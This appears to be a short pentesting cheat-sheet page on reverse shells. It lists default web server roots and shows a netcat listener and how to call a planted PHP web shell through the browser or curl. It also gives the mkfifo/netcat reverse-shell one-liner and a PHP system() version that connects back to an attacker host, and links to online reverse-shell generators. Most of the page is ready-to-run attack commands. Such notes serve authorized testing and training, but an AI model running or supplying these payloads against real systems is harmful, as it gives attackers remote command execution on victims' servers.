# Reverse Shells

### Command injection&#x20;

To be able to execute the reverse shell we first need to be able to inject commands:

{% content-ref url="../techniques/command-injection" %}
[command-injection](../techniques/command-injection)
{% endcontent-ref %}

***

<details>

<summary>Default Webroot for common web servers</summary>

```
Apache    /var/www/html/
Nginx     /usr/local/nginx/html/
IIS       C:\inetpub\wwwroot\
XAMPP     C:\xampp\htdocs\
```

</details>

<details>

<summary>Accessing the reverse shell</summary>

```bash
#Listening for the reverse shell with netcat
nc -lnvp Port

#Once the malicious shell script is passed to the victim:
 ##In the browser
http://server_ip:port/shellScript.php?cmd=your_command_here

 ##Directly from the terminal
curl http://server_ip:port/shellScript.php?cmd=your_command_here

```

</details>

***

### Scripts

<details>

<summary>PHP</summary>

<pre class="language-php"><code class="lang-php">#Get netcat reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&#x26;1|nc attackIP ListeningPort) >/tmp/f
<strong> ##Adapted for PHP
</strong>&#x3C;?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&#x26;1|nc attackerIP listeningPort >/tmp/f"); ?>

</code></pre>

</details>

***

### Online shell lists/generators

#### Revshells

{% embed url="https://www.revshells.com/" %}
Revshells
{% endembed %}

#### PayloadAllTheThings/Reverse

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}
PayloadAllTheThings
{% endembed %}
